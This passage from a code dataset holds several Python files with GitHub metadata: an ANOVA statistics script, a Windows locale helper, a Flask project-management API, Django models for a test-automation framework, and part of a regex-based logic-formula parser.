getFMaxVal(df):\n \"\"\"Reads in the DataFrame, checks the variance, and then calculates the\n ratio used for the FMax calculation for homogeneity of variance.\n Returns the FMaxVal.\"\"\"\n \n varianceVals = getVarVals(df)\n minVarVal = min(varianceVals)\n maxVarVal = max(varianceVals)\n \n FMaxVal = round((maxVarVal / minVarVal), 2)\n \n return FMaxVal\n\n# Step 4c: Evaluates whether homogeneity of variance assumption is met.\ndef checkFMaxVal(df):\n \"\"\"Reads in the DataFrame. Calculates the FMaxVal which determines \n whether the samples pass the homogeneity of variance assumption.\n Returns FMaxList.\"\"\"\n \n FMaxVal = getFMaxVal(df)\n FMaxTest = 0\n \n print('\\nHomogeneity of Variance Test Results:')\n \n if FMaxVal < 3:\n print('FMax:', FMaxVal, '< 3.0.')\n print('Samples meet homogeneity of variance assumption.')\n FMaxTest = 1\n \n else:\n print('FMax:', FMaxVal, '> 3.0.')\n print('Samples do not meet homogeneity of variance assumption.')\n print('Test is not appropriate for this sample.')\n FMaxTest = 0\n \n FMaxList = [FMaxVal, FMaxTest]\n \n return FMaxList\n\n# Step 5: Calculates the 'Basic Ratios', the values necessary for determining\n# the SS_A, SS_SA, and SS_T values.\ndef getBasicRatios(df):\n \"\"\"Reads in a DataFrame. Calculates the statistics necessary to \n return the Basic Ratios used in Anovas. \n Returns a list object containing the Basic Ratio values.\"\"\"\n \n colSumList = getColSums(df)\n meanValsList = getMeanVals(df)\n sumSqdVals = getSumSqdVals(df)\n \n listLen = len(colSumList)\n sumASqd = 0\n colSums = 0\n \n for i in range(listLen):\n sumASqd = sumASqd + (colSumList[i] ** 2)\n colSums = colSums + (colSumList[i])\n \n \n numConds = (df.shape[1] - 1) # (a) in Basic Ratios.\n sampSize = df.shape[0] # (n) in Basic Ratios.\n \n brY = sumSqdVals[-1] # [Y] in Basic Ratios.\n brA = round((sumASqd / sampSize), 2) # [A] in Basic Ratios.\n brT = round(((colSums ** 2) / (numConds * sampSize)), 2) # [T] in Basic Ratios.\n \n basicRatios = [brY, brA, brT]\n \n return basicRatios\n\n# Step 6: Calculate the degrees of freedom for the MS calculations.\ndef getDegFree(df):\n \"\"\"Reads in a DataFrame. Calculates the degrees of freedom needed for \n use in Anova calculations. \n Returns a list object containing values for df_A, df_SA, df_T.\"\"\"\n \n sampSize = (df.shape[0])\n numConds = (df.shape[1] - 1)\n\n df_A = (numConds - 1)\n df_SA = (numConds * (sampSize - 1))\n df_T = ((numConds * sampSize) - 1)\n \n degFree = [df_A, df_SA, df_T]\n \n return degFree\n\n# Step 7: Calculate the SS_A, SS_SA, and SS_T values.\ndef getSSVals(df):\n \"\"\"Reads in a DataFrame object and calculates the Sum of Squares\n values associated with each of the basic ratio components.\n Returns a list of the SS values.\"\"\"\n\n basicRatios = getBasicRatios(df)\n \n brY = basicRatios[0]\n brA = basicRatios[1]\n brT = basicRatios[2]\n \n SS_A = round((brA - brT), 2)\n SS_SA = round((brY - brA), 2)\n SS_T = round((brY - brT), 2)\n \n SS_Vals = [SS_A, SS_SA, SS_T]\n \n return SS_Vals\n\n# Step 8: Calculate the MS_A, MS_SA, and MS_T values.\ndef getMSVals(df):\n \"\"\"Reads in a DataFrame and calculates the Mean Squares values \n for each component of the Anova.\n Returns the a list of the MS values.\"\"\"\n \n SS_Vals = getSSVals(df)\n degFree = getDegFree(df)\n \n SS_A = SS_Vals[0]\n SS_SA = SS_Vals[1]\n SS_T = SS_Vals[2]\n \n df_A = degFree[0]\n df_SA = degFree[1]\n df_T = degFree[2]\n \n MS_A = round((SS_A / df_A), 2)\n MS_SA = round((SS_SA / df_SA), 2)\n MS_T = round((SS_T / df_T), 2)\n \n MS_Vals = [MS_A, MS_SA, MS_T]\n \n return MS_Vals\n\n# Step 9: Calculate the F-statistic for the samples.\ndef getFCalcVal(df):\n \"\"\"Reads in a DataFrame. Calculates the associated values necessary\n to calculate the F-statistic value.\n Returns a list containing the F-statistic.\"\"\"\n \n MS_Vals = getMSVals(df)\n \n MS_A = MS_Vals[0]\n MS_SA = MS_Vals[1]\n \n FCalcVal = round((MS_A / MS_SA), 2)\n \n return FCalcVal\n\n# Step 10: Look up the tabled value of F based on the alpha and type of test.\ndef getFTabledVal(df, alpha, tailTest):\n \"\"\"Reads in a DataFrame, the significance level (alpha), and the \n type of test to use (one or two-tailed). Calculates the F-Tabled value\n based on those parameters.\n Returns the F-Tabled value.\"\"\"\n \n q = (1 - (alpha / tailTest))\n degFree = getDegFree(df)\n \n df_A = degFree[0]\n df_SA = degFree[1]\n \n rawFTabVal = scipy.stats.f.ppf(q, df_A, df_SA)\n FTabVal = round((rawFTabVal), 2)\n \n return FTabVal \n\n# Step 11: Compare the calculated vs. the tabled F-values to determine significance. \ndef getResultType(df, alpha, tailTest):\n \"\"\"Reads in the DataFrame, significance level (alpha), and tailTest values.\n Compares the values and prints a comparison string.\n Returns None.\"\"\"\n \n FCalcVal = getFCalcVal(df)\n FTabVal = getFTabledVal(df, alpha, tailTest)\n \n if FCalcVal > FTabVal:\n print('\\nResults:')\n print('F-calculated:', FCalcVal, '\\nF-tabled:', FTabVal, '\\n')\n #print(FCalcVal, '>', FTabVal, 'at', alpha)\n print('Significant at the', alpha, 'level.')\n \n else:\n print('\\nResults:')\n print('F-calculated:', FCalcVal, '\\nF-tabled:', FTabVal, '\\n')\n #print(FCalcVal, '<', FTabVal, 'at', alpha)\n print('Not significant at the', alpha, 'level.')\n \n return None\n\n# This procedure calls steps 1 - 11 and prints the result. \n# Note: The tests will not run if the homogeneity of variance assumption isn't met.\ndef testData(df, alpha, tailTest):\n \"\"\"Reads in a DataFrame, the significance level (alpha), and the type\n of test (one or two-tailed). Checks homogeneity of variance assumption,\n prints results. Returns None.\"\"\" \n \n varianceVals = getVarVals(df)\n FMaxList = checkFMaxVal(df)\n \n if FMaxList[1] == 1:\n FCalcVal = getFCalcVal(df)\n FTabVal = getFTabledVal(df, alpha, tailTest)\n getResultType(df, alpha, tailTest)\n \n else:\n print('Assumptions for homogeneity of variance not met.')\n print('This test is not appropriate for these samples.')\n \n return None\n\n# Converts column variables into float values for use in calculations.\nconvertToFloat(df)\n\n# Test significance level.\nalpha = 0.05\n\n# Type of test (1-tailed or 2-tailed).\ntailTest = 1\n\n# Calculate the F-Value.\ntestData(df, alpha, tailTest)\n\n\n\n\n","repo_name":"AMooney2019/Statistics-Examples-in-Python","sub_path":"Base Anova Scripts/BaseAnova.py","file_name":"BaseAnova.py","file_ext":"py","file_size_in_byte":10829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8584129915","text":"import locale\nimport os\nimport sys\n\nOS_WINDOWS = (sys.platform == 'win32')\n\n\ndef setup_env_windows(system_lang=True):\n \"\"\"Check environment variables used by gettext\n and setup LANG if there is none.\n \"\"\"\n if _get_lang_env_var() is not None:\n return\n lang = get_language_windows(system_lang)\n if lang:\n os.environ['LANGUAGE'] = ':'.join(lang)\n\ndef get_language_windows(system_lang=True):\n \"\"\"Get language code based on current Windows settings.\n @return: list of languages.\n \"\"\"\n try:\n import ctypes\n except ImportError:\n return [locale.getdefaultlocale()[0]]\n # get all locales using windows API\n lcid_user = ctypes.windll.kernel32.GetUserDefaultLCID()\n lcid_system = ctypes.windll.kernel32.GetSystemDefaultLCID()\n if system_lang and lcid_user != lcid_system:\n lcids = [lcid_user, lcid_system]\n else:\n lcids = [lcid_user]\n return [_f for _f in [locale.windows_locale.get(i) for i in lcids] if _f] or None\n\n\ndef setup_env_other(system_lang=True):\n pass\n\ndef get_language_other(system_lang=True):\n lang = _get_lang_env_var()\n if lang is not None:\n return lang.split(':')\n return None\n\n\ndef _get_lang_env_var():\n for i in ('LANGUAGE','LC_ALL','LC_MESSAGES','LANG'):\n lang = os.environ.get(i)\n if lang:\n return lang\n return None\n\n\nif OS_WINDOWS:\n setup_env = setup_env_windows\n get_language = get_language_windows\nelse:\n setup_env = setup_env_other\n get_language = get_language_other\n","repo_name":"Ghini/ghini.desktop","sub_path":"bauble/gettext_windows.py","file_name":"gettext_windows.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"37"} +{"seq_id":"75141439147","text":"#!/user/bin/python3\n\"\"\"\nProjects API\n\"\"\"\nfrom models import storage\nfrom models.user import User\nfrom models.project import Project\nfrom models.project_user import ProjectUser\nfrom auth.current_user import user_status\nfrom flask import jsonify, abort, make_response, request\nfrom flask.views import MethodView\nfrom api.v1.views import api_blueprint\nfrom models.invitation import Invitation\n\n\n@api_blueprint.route('/projects/users/', methods=['POST'])\n@user_status\ndef create_project(current_user, user_id):\n \"\"\"\n create a new project for the user\n \"\"\"\n if user_id == current_user.id:\n #get json data\n project_data = request.get_json()\n if not project_data:\n abort(404)\n\n if 'title' not in project_data:\n response = {\n 'status': \"fail\",\n 'message': 'Title is missing'\n }\n return make_response(jsonify(response)), 404\n\n # create new project in database\n new_project = Project(**project_data)\n new_project.save()\n\n # create association table between project and users\n p_u = ProjectUser(user_id=current_user.id,\n project_id=new_project.id, member_role='admin')\n\n # add association table to projects of current user\n if p_u not in current_user.projects:\n current_user.projects.append(p_u)\n return_dict = new_project.to_dict()\n new_project.members.append(p_u)\n\n # commit the changes to the database\n storage.save()\n\n return make_response(jsonify(return_dict)), 201\n else:\n return make_response(jsonify({'Error': 'Permission Denied'})), 403\n\n@api_blueprint.route('/projects', methods=['GET'])\n@user_status\ndef user_projects(current_user):\n\n \"\"\"\n retrieve all projects that the user is a part of\n \"\"\"\n\n projects = [project.project for project in current_user.projects]\n sorted_projects = sorted(projects, key=lambda p: p.create_time, reverse=True)\n project_list = [project.to_dict() for project in sorted_projects]\n projects_count = len(project_list)\n projects_stats = {\n \"projects\": project_list,\n \"projects_count\": projects_count\n }\n return make_response(jsonify(projects_stats)), 200\n\n\n@api_blueprint.route('/projects//users/', methods=['DELETE'])\n@user_status\ndef delete_project(current_user, project_id, user_id):\n \"\"\"\n delete a project only permitted by an admin or owner\n \"\"\"\n\n if project_id:\n # get project from database\n project = storage.get(Project, project_id)\n if not project:\n response = {\n 'status': 'fail',\n 'message': 'Project doesn\\'t exist'\n }\n return make_response(jsonify(response)), 404\n else:\n return(make_response(jsonify({'error': 'project_id missing'}))), 404\n\n invite_objs = storage.all(Invitation).values()\n for iv in invite_objs:\n if iv.project_id == project_id:\n break\n\n # get association objects between user and projects\n all_p_u = project.members\n\n # check if member is permitted to delete\n for p_u in all_p_u:\n # check association table for user and project\n if p_u.project_id == project_id and p_u.user_id == user_id:\n break\n else:\n response = {\n 'Status': 'Fail',\n 'Message': 'User not a part of the project'\n }\n return make_response(jsonify(response)), 404\n if p_u.member_role == 'admin':\n for pr_u in project.members:\n if pr_u.project_id == project_id:\n for iv in storage.all(Invitation).values():\n if iv.project_id == project_id:\n storage.delete(iv)\n project.members.remove(pr_u)\n storage.delete(pr_u)\n storage.delete(project)\n storage.save()\n return make_response(jsonify({'status': 'Project deleted'})), 204\n else:\n return make_response(jsonify({'error': 'Permission denied'})), 403\n\n@api_blueprint.route('/projects//users/', methods=['PUT'])\n@user_status\ndef update_project(current_user, project_id, user_id):\n \"\"\"\n update a property of a project based on a permitted user\n \"\"\"\n\n # get the project\n if project_id:\n project = storage.get(Project, project_id)\n if not project:\n response = {\n 'status': 'fail',\n 'message': 'Project doesn\\'t exist'\n }\n return make_response(jsonify(response)), 404\n else:\n return make_response(jsonify({'error': 'project_id missing'}))\n\n # get the association between users and project\n all_p_u = storage.all(ProjectUser).values()\n for obj in all_p_u:\n if obj.user_id == user_id and obj.project_id == project.id:\n p_u = obj\n break\n else:\n response = {\n\n 'Status': 'Fail',\n 'Message': 'User records not associated with this project'\n }\n return make_response(jsonify(response)), 404\n\n # check if member of project is permitted to update project\n if p_u.member_role == 'admin':\n # get the json data\n data = request.get_json()\n\n if not data:\n response = {\n 'status': 'fail',\n 'message': 'Not a JSON'\n }\n return make_response(jsonify(response)), 400\n # update attributes with new data\n for key, value in data.items():\n if key not in ['id', 'create_at', 'update_at']:\n setattr(project, key, value)\n\n # update update_time\n project.update()\n return make_response(jsonify(project.to_dict())), 200\n else:\n response = {\n 'status': 'fail',\n 'message': 'Permission denied'\n }\n return make_response(jsonify(response)), 403\n\n@api_blueprint.route('/projects/', methods=['GET'])\n@user_status\ndef get_one_project(current_user, project_id):\n \"\"\"\n get a single project\n \"\"\"\n if project_id:\n # get project from database\n all_pu_obj = current_user.projects\n if all_pu_obj is not None:\n project = storage.get(Project, project_id)\n if project:\n for p_u in all_pu_obj:\n # check association for project\n if p_u.project_id == project_id:\n return make_response(jsonify(project.to_dict())), 200\n else:\n response = {\n 'status': 'fail',\n 'message': 'Project doesn\\'t exist'\n }\n return make_response(jsonify(response)), 404\n else:\n response = {\n 'status': 'fail',\n 'message': 'project_id missing'\n }\n return make_response(jsonify(response)), 404\n\n","repo_name":"devdekunle/TaskPilot","sub_path":"back_end/api/v1/views/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":6932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25573088378","text":"from __future__ import unicode_literals\n\nfrom django.db import models\n\n\n# Create your models here.\nclass TestbedType(models.Model):\n \"\"\"\n TestbedType models a class of testbeds that generally share the same topology, component types, and purpose.\n \"\"\"\n name = models.CharField(unique=True, max_length=50,\n help_text='The name of the python class that implements this type of testbed')\n description = models.TextField(blank=True,\n help_text=\"Description of this testbed and description of all configuration parameters\")\n\n # diagram = models.ImageField(blank=True, upload_to='\\\\\\\\192.168.10.2\\\\rat',\n # help_text=\"Upload topology for this type of test bed. Support only .JPG, .PNG\")\n # diagram field requires extra libraries and stuff\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n ordering = ('name',)\n\n\nclass Testbed(models.Model):\n \"\"\"\n A testbed info class that encapsulates common info and configuration.\n Real testbed class implementations will contain an instance of this class.\n Ideally this would be implemented as an abstract base class but django models doesn't currently support ABC's.\n \"\"\"\n name = models.CharField(unique=True, max_length=50,\n help_text='Unique name for this physical testbed')\n tbtype = models.ForeignKey(TestbedType)\n location = models.CharField(max_length=100)\n owner = models.EmailField(\"Owner Email\",\n help_text='Address for reporting testbed problems.')\n resultdist = models.EmailField(\"Results Email\",\n help_text='Default address for emailing batch results')\n description = models.TextField(blank=True)\n config = models.TextField(blank=True,\n help_text='Basic testbed configuration parameters (e.g. DUT IP address) as a python dictionary string')\n\n def __unicode__(self):\n return self.name\n\n\nclass TestbedComponent(models.Model):\n \"\"\"\n A physical component of a testbed such as an AP, Laptop, PC, attenuator, etc.\n Classes defined elsewhere implement the interface to config/control the testbed components.\n Test code uses these testbed component interfaces to configure and control the testbed.\n (Ideally those component classes would derive directly from this TestbedComponent base class\n but django doesn't currently allow that...)\n \"\"\"\n name = models.CharField(unique=True, max_length=30,\n help_text='Name of this component and the python class that implements it')\n description = models.TextField(blank=True, help_text='Description of this component.')\n config = models.TextField(blank=True,\n help_text='Basic testbed component configuration parameters (e.g. DUT IP address) as a python dictionary string')\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n ordering = ('name',)\n\n\nclass BuildStream(models.Model):\n \"\"\"\n The BuildStream class models a set of related builds from a build server.\n It really corresponds to the combination of a build tree from source control plus\n build configuration (e.g. a build profile). The BuildStream class is responsible for\n creating new Build objects as they become available on the build server.\n \"\"\"\n name = models.CharField(max_length=60,\n unique=True,\n help_text=\"Verbose name for this build stream,(e.g. AP2825_4.2.0_production)\")\n prefix = models.CharField(max_length=22,\n help_text=\"Short version prefix for this stream (e.g. 4.2.0). Combined with build number to make build name.\")\n URL = models.URLField(blank=True)\n description = models.TextField(blank=True)\n\n def __unicode__(self):\n return self.name\n\n\nclass Build(models.Model):\n \"\"\"\n A unique software image that can be loaded onto a device under test.\n Each build is associated with BuildStream and has a characteristic build number and label.\n \"\"\"\n build_stream = models.ForeignKey(BuildStream)\n number = models.IntegerField(help_text=\"Build number within a build stream.\")\n builder = models.CharField(max_length=20, blank=True,\n help_text=\"Build creator\")\n version = models.CharField(max_length=20,\n help_text=\"short name for this build (e.g. 4.2.0.171)\")\n label = models.CharField(unique=True, max_length=64,\n help_text=\"verbose build label (e.g. lnxbuild_ap_ap2825420_20080116_540p_chg18762_171)\")\n timestamp = models.DateTimeField(help_text=\"Build Start time\")\n URL = models.URLField()\n\n def __unicode__(self):\n return \"%s\" % (self.version)\n\n class Meta:\n ordering = ['number']\n\n\nclass TestSuite(models.Model):\n \"\"\"\n A TestSuite is a mechanism for grouping related TestCases along with any explicit component\n configuration that should be in effect for that set of TestCases.\n \"\"\"\n TS_REGRESSION = ''\n TS_COMBO = 'combo'\n SUITE_TYPES = (\n (TS_REGRESSION, 'Regression Tests'),\n (TS_COMBO, 'Combination/Composition Tests'),\n )\n name = models.CharField(unique=True, max_length=100)\n description = models.TextField(blank=True)\n config = models.TextField(blank=True,\n help_text=\"Text dictionary of testbed component configs to use for this test suite\")\n xtype = models.CharField(blank=True, max_length=8,\n choices=SUITE_TYPES,\n help_text=\"eXecution type of this test suite. Default is regression test.\")\n\n def asComboTest(self):\n self.xtype = self.TS_COMBO\n\n def is_combo_test(self):\n return self.xtype == self.TS_COMBO\n\n def num_tests(self):\n return TestCase.objects.filter(suite=self).count()\n\n def __unicode__(self):\n return \"%s\" % (self.name)\n\n\nclass TestCase(models.Model):\n \"\"\"\n A TestCase is part of a TestSuite\n A TestCase references a python Test by name and also specifies any optional\n parameters to that test. Finally the order attribute may be used to specify\n execution ordering of this test case relative to the others within the same test suite.\n Version 2: added\n enabled: if False, test case will not be copied to TestRun.\n exc_level: test case execution level:\n ==0 : qarun abort the combotest if return result is ERROR or FAIL\n ==1 : qarun looks for next test case exc_level < 2\n >1 : test cases associate to their upper level 1 tests\n if they return FAIL/ERROR, qarun looks for next test case with exc_level < 2\n is_cleanup: if true, test case is a cleanup class.\n SQLITE3 command to add column exc_level:\n alter table RuckusAutoTest_testcase add column exc_level integer default 0;\n \"\"\"\n suite = models.ForeignKey(TestSuite)\n test_name = models.CharField(max_length=60,\n help_text=\"Name of Python class that implements this test\")\n test_params = models.TextField(blank=True,\n help_text=\"Parameters passed to this test as python dictionary string\")\n seq = models.IntegerField(help_text=\"Relative ordering of this test case within the test suite\")\n common_name = models.CharField(blank=True, max_length=120,\n help_text=\"Common name for this test\")\n enabled = models.BooleanField(default=True,\n help_text=\"Will not copied to TestRun if disabled\")\n exc_level = models.IntegerField(default=0,\n help_text=\"test case execution level. Test runner, qarun uses it to decide what to do if this test FAIL/ERROR\")\n is_cleanup = models.BooleanField(default=False,\n help_text=\"Is a cleanup test case?\")\n\n def __unicode__(self):\n return \"%s(%s)\" % (self.test_name, self.test_params)\n\n class Meta:\n ordering = ('seq',)\n\n\nclass Test(object):\n \"\"\"\n Base class for all test code. This does not exists in database (beyond\n a class name reference) as the implementing class itself is the authoratative\n description of a Test.\n\n required_components is a list of component names that this test case requires.\n parameter_description is a dictionary of parameter names and text descriptions.\n \"\"\"\n required_components = []\n parameter_description = {}\n\n def __init__(self, testbed, params={}, carrierbag={}):\n self.testbed = testbed\n self.params = params\n self._carrierbag = carrierbag\n\n def config(self):\n pass\n\n def test(self):\n pass\n\n def cleanup(self):\n pass\n\n #\n # ComboTest should call returnResult() to return its test result,\n # Example:\n # return self.returnResult(res, msg)\n #\n def returnResult(self, result, message):\n return {'result': result, 'message': message, 'carrierbag': self._carrierbag}\n\n #\n # On your test case, you should use the property/variable carrierbag to\n # set/get/del information/data-structure during the ComboTest[a TestSuite]\n #\n # For Example:\n #\n # self.carrierbag['tc1'] = {'result':'PASS', 'time':200}\n # ct_wlangroup = self.carrierbag['wg']\n # del(self.carrierbag['tc2'])\n #\n def getBag(self):\n return self._carrierbag\n\n def setBag(self, carrierbag):\n self._carrierbag = carrierbag\n\n def delBag(self):\n self._carrierbag = {}\n\n carrierbag = property(getBag, setBag, delBag)\n\n\nclass Batch(models.Model):\n \"\"\"\n Batch objects are used to schedule and track test suite runs and (eventually) group test results for reporting purposes.\n \"\"\"\n testbed = models.ForeignKey(Testbed,\n help_text=\"Testbed to which this batch belongs\")\n build = models.ForeignKey(Build,\n help_text=\"DUT software build for this test batch\")\n suites = models.ManyToManyField(TestSuite,\n help_text=\"list of test suites to run for this batch\",\n )\n seq = models.IntegerField(default=0, help_text=\"Relative ordering of different batches\")\n timestamp = models.DateTimeField(help_text=\"Time that this batch was first scheduled.\")\n start_time = models.DateTimeField(blank=True, null=True)\n end_time = models.DateTimeField(blank=True, null=True)\n result_email = models.EmailField(blank=True,\n help_text=\"Email address for batch result report\")\n complete = models.BooleanField(default=False, help_text=\"True if batch has finished running.\")\n DUT = models.ForeignKey(TestbedComponent, blank=True, null=True,\n help_text=\"The testbed component under test (if testbed has multiple potential DUTS)\")\n total_tests = models.CharField(max_length=15, blank=True)\n tests_pass = models.CharField(max_length=15, blank=True)\n tests_fail = models.CharField(max_length=15, blank=True)\n test_errors = models.CharField(max_length=15, blank=True,\n help_text=\"Errors encountered that prevented test from completing\")\n tests_skip = models.CharField(max_length=15, blank=True,\n help_text=\"Tests skipped by test runner because testrun's skip_run is true.\")\n test_exceptions = models.CharField(max_length=15, blank=True,\n help_text=\"Script errors encountered that prevented test from completing\")\n test_other = models.CharField(max_length=15, blank=True, help_text=\"Other non-categorized test results\")\n\n def suite_list(self):\n \"\"\"return a test list of suites for display purposes\"\"\"\n return ','.join([s.__unicode__() for s in self.suites.all()])\n\n def combo_suites(self):\n \"\"\"return a list of combotest suites\"\"\"\n return [c for c in self.suites.all() if TestSuite.TS_COMBO == c.xtype]\n\n def regression_suites(self):\n \"\"\"return a list of regression suites\"\"\"\n return [c for c in self.suites.all() if TestSuite.TS_REGRESSION == c.xtype]\n\n def __unicode__(self):\n return \"%s:%s\" % (self.testbed, self.build)\n\n class Meta:\n ordering = ('seq', 'timestamp',)\n\n\nclass TestRun(models.Model):\n \"\"\"\n The result of running an individual Test case.\n Note that parameters are purposely copied here from TestCases at runtime. This was a concious design decision\n (instead of referencing TestCase objects with a ForeignKey()) that prevents historical TestRun confusion if individual\n TestCases changes in the database.\n VERSION 2: added\n suite and skip_run, and by default they are ordered by suite+order\n exc_level: refer to class TestCase\n SQLITE3 command to add column exc_level:\n alter table RuckusAutoTest_testrun add column exc_level integer default 0;\n \"\"\"\n batch = models.ForeignKey(Batch)\n suite = models.ForeignKey(TestSuite)\n test_name = models.CharField(max_length=80)\n test_params = models.TextField(blank=True)\n common_name = models.CharField(blank=True, max_length=120)\n run_name = models.CharField(blank=True, max_length=120)\n config = models.TextField(blank=True,\n help_text=\"Text dictionary of testbed component configs to use for this test case\")\n complete = models.BooleanField()\n seq = models.IntegerField()\n exc_level = models.IntegerField(default=0,\n help_text=\"test case execution level. Test runner, qarun uses it to decide what to do if this test FAIL/ERROR\")\n is_cleanup = models.BooleanField(default=False,\n help_text=\"Is a cleanup test case?\")\n skip_run = models.BooleanField(default=False,\n help_text=\"Enable to skip this test during execution.\")\n start_time = models.DateTimeField(blank=True, null=True)\n end_time = models.DateTimeField(blank=True, null=True)\n result = models.CharField(max_length=100, blank=True,\n help_text='short result string. Format of this string is specified by result_type')\n result_type = models.CharField(max_length=30, blank=True,\n help_text='Type of result: passfail, numeric, etc')\n message = models.TextField(blank=True)\n halt_if = models.CharField(max_length=100, blank=True,\n help_text=\"keyword list of: begin_combo,begin_t_run,pass,fail,error,t_config,t_test,t_cleanup,after_t_run; or halt_all to halt at all break points.\")\n\n def __unicode__(self):\n return \"%s(%s)\" % (self.test_name, self.test_params)\n\n class Meta:\n ordering = ('suite', 'seq',)\n\n\nclass AutotestConfig(models.Model):\n \"\"\"\n This class is used to configure a testbed.\n It is used to specify what test suites are automatically run against\n new Builds from a particular BuildStream.\n \"\"\"\n testbed = models.ForeignKey(Testbed)\n build_stream = models.ForeignKey(BuildStream)\n suites = models.ManyToManyField(TestSuite, null=True,\n help_text=\"list of test suites to run for this batch\",\n )\n lastbuildnum = models.IntegerField(default=0,\n help_text=\"Last build number autotested; Only test new builds greater than this.\")\n seq = models.IntegerField(default=0,\n help_text=\"Specifies priority of this build_stream if multiple build streams have new builds available\")\n DUT = models.ForeignKey(TestbedComponent, blank=True, null=True,\n help_text=\"The testbed component under test (if testbed has multiple potential DUTS)\")\n\n def suite_list(self):\n \"\"\"return a list of suites for display purposes\"\"\"\n return ','.join([s.__unicode__() for s in self.suites.all()])\n\n def __unicode__(self):\n return \"%s %s\" % (self.testbed, self.build_stream)\n\n def regression_suites(self):\n \"\"\"return a list of regression suites\"\"\"\n return [c for c in self.suites.all() if TestSuite.TS_REGRESSION == c.xtype]\n\n def combo_suites(self):\n \"\"\"return a list of combotest suites\"\"\"\n return [c for c in self.suites.all() if TestSuite.TS_COMBO == c.xtype]\n\n class Meta:\n ordering = ('seq',)\n","repo_name":"jichunwei/MyGitHub-1","sub_path":"TestDjango/Auto/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":16673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70927499309","text":"\n\nimport os\n\nfrom . import util\nfrom . import global_method\nimport re\n\n\n\nmost_inner_pattern = re.compile(r'\\([^\\(\\)]+\\)')\n\n\nmath_sym_first = re.compile(r'(?:(\\w+)\\s*(\\*)\\s*(\\w+))|(?:(\\w+)\\s*(\\/)\\s*(\\w+))|(?:(\\w+)\\s*(mod)\\s*(\\w+))')\n#math_sym_second = re.compile(r'(?:(\\w+)\\s*(\\+)\\s*(\\w+))|(?:(\\w+)\\s*(\\-)\\s*(\\w+))')\nmath_sym_second = re.compile(r'(?:(\\w+)\\s*(\\+)\\s*(\\w+))')\nmath_pred = re.compile(r'(?:(\\w+)\\s*(<=)\\s*(\\w+))|(?:(\\w+)\\s*(>=)\\s*(\\w+))|(?:(\\w+)\\s*(<)\\s*(\\w+))|(?:(\\w+)\\s*(>)\\s*(\\w+))|(?:(\\w+)\\s*(=)\\s*(\\w+))')\n#logic_conn1 = re.compile(r'(not)\\s*(\\w+)(?!not\\s*)')\nlogic_conn1 = re.compile(r'(not)\\s*(?!not)(\\w+)')\nlogic_conn2 = re.compile(r'(\\w+)\\s*(and)\\s*(\\w+)')\nlogic_conn3 = re.compile(r'(\\w+)\\s*(or)\\s*(\\w+)')\nlogic_conn4 = re.compile(r'(\\w+)\\s*(=>)\\s*(\\w+)')\nlogic_conn5 = re.compile(r'(\\w+)\\s*(<=>)\\s*(\\w+)')\n\nquantifier_pattern = re.compile(r\"(?:(forall|exists))\\s*\\(([\\s\\w:,_-]+)\\)\\[([^\\(\\)\\[\\]]+)\\]\")\n##\n##\n# repeat most inner (exp): \n#\thandle (exp) \n#\t\t exp: basic expression \n#\t\t\t\t\tmath: (1) * / mod (2) + - \n#\t\t\t\t math predicate: <= >= < > =\n# \t\t \t\t logical connector ! & | => \n#\n#\thandle fluent(L1,L1,L1) -> (fluent L1 L1 L1)\n#\t\n#\n#\n\n\n#[2] construct math symbol\ndef __mrepl_math(matched):\n\tmatch_list = [ elem for elem in matched.groups() if elem]\n\t##print 'aaaa',match_list\n\t#s= \"\n\t###print s\n\treturn global_method.add_math_formula(match_list[0], match_list[1:])\n\n\n#[3] construct not symbol\ndef __mrepl_logic(matched):\n\tmatch_list = [ elem for elem in matched.groups() if elem]\n\tsymbol = match_list[1]\n\tmatch_list.remove(match_list[1])\n\treturn global_method.add_logic_formula(symbol, match_list)\n\ndef __mrepl_logic_not(matched):\n\tmatch_list = [ elem for elem in matched.groups() if elem]\n\treturn global_method.add_logic_formula(match_list[0], match_list[1:])\n\n\ndef __mrepl_no_inner_formula(matched):\n\tif matched.group().find(':')!=-1:\n\t\treturn matched.group()\n\tformula = matched.group().lstrip('(').rstrip(')')\n\t#print \"---before innerformula\", formula\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = math_sym_first.sub(__mrepl_math, formula, 1)\n\t#print '1111',formula\n\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = math_sym_second.sub(__mrepl_math, formula, 1)\n\t#print '2222',formula\n\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = math_pred.sub(__mrepl_math, formula, 1)\n\t#print '2222',formula\n\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = logic_conn1.sub(__mrepl_logic_not, formula)\n\t#print '3333',formula\n\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = logic_conn2.sub(__mrepl_logic, formula, 1)\n\t#print '4444',formula\n\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = logic_conn3.sub(__mrepl_logic, formula, 1)\n\t#print '5555',formula\n\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = logic_conn4.sub(__mrepl_logic, formula, 1)\n\t#print '6666',formula\n\n\ttemp_formula =\"\"\n\twhile formula!=temp_formula:\n\t\ttemp_formula = formula\n\t\tformula = logic_conn5.sub(__mrepl_logic, formula, 1)\n\t#print '7777',formula\n\t#print \"----after,innerformula\",formula\n\treturn formula\n\n\n\n#[1] construct fluent\ndef __mrepl_fluent(matched):\n\tmatch_list = [ elem for elem in matched.groups() if elem]\n\t# print(\"-----\")\n\t# print(match_list)\n\tparas = match_list[1].split(',')\n\treturn global_method.add_fluent(match_list[0], paras)\n\n\n\ndef __mrepl_quntifier(matched):\n\tparas = matched.group(2).split(',')\n\tformula = 